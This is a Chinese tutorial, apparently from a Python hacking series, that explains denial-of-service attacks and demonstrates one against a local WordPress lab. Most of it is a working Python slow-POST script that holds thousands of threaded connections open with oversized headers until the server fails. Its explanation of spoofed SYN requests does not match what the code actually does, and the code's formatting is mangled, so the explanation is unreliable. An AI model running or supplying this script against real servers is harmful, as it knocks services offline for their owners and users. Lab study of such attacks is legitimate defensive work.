注:本篇教程僅供學習交流。
Dos攻擊簡介
DOS:中文名稱是拒絕服務,一切能引起DOS行為的攻擊都被稱為DOS攻擊。該攻擊的效果是使得計算機或網絡無法提供正常的服務。常見的DOS攻擊有針對計算機網絡帶寬和連通性的攻擊。DOS是單機與單機之間的攻擊。
Dos攻擊原理
首先攻擊者向被攻擊的服務器發送大量的虛假IP請求,被攻擊者在收到請求後返回確認信息,等待攻擊者進行確認,(此處需要擁有HTTP協議工作方式和TCP三次握手的基本知識)該過程需要TCP的三次握手,由於攻擊者發送的請求信息是虛假的,所以服務器接收不到返回的確認信息,在一段時間內服務器會處於等待狀態,而分配給這次請求的資源卻沒有被釋放。當被攻擊者等待一定的時間後,會因連接超時而斷開,這時攻擊者再次發送新的虛假信息請求,這樣最終服務器資源被耗盡,直到癱瘓。
<code>import
socketimport
timeimport
threading MAX_CONN =200000
PORT =80
HOST ="127.0.0.1"
PAGE ="/index.php"
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n"
% (PAGE, HOST)) socks = []def
conn_thread
()
:global
socksfor
iin
range(0
, MAX_CONN): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try
: s.connect((HOST, PORT)) s.send(buf.encode()) print("[+] 成功發送buf!,conn=%d\n"
% i) socks.append(s)except
Exceptionas
ex: print("[-] 無法連接服務器或發送錯誤:%s"
% ex) time.sleep(1
)def
send_thread
()
:global
sockswhile
True
:for
sin
socks:try
: s.send("f"
.encode())except
Exceptionas
ex: print("[-] 發送異常:%s\n"
% ex) socks.remove(s) s.close() time.sleep(1
) conn_th = threading.Thread(target=conn_thread, args=()) send_th = threading.Thread(target=send_thread, args=()) conn_th.start() send_th.start() conn_th2 = threading.Thread(target=conn_thread, args=()) send_th2 = threading.Thread(target=send_thread, args=()) conn_th2.start() send_th2.start()/<code>
DOS攻擊演示
這裡演示的是攻擊上次搭建的靶機->Python黑客攻防(四)搭建測試環境 ,攻擊機是Windows10本機,靶機也是搭建在Windows10上的WordPress。。
先訪問一下
http://127.0.0.1/wp-login.php,記錄一下攻擊前的狀態。
然後開始攻擊。
再次訪問
http://127.0.0.1/wp-login.php,查看效果。
OK,演示結束。自己搭建的這種靶機服務器堅持不了幾秒就涼了。
總結
以上就是簡單的Dos攻擊了,當然這種攻擊對許多強大的服務器是沒有多大影響的。還有更厲害的DDOS攻擊(分佈式拒絕服務攻擊),DDOS是攻擊者控制多臺主機同時向同一主機或網絡發起DOS攻擊。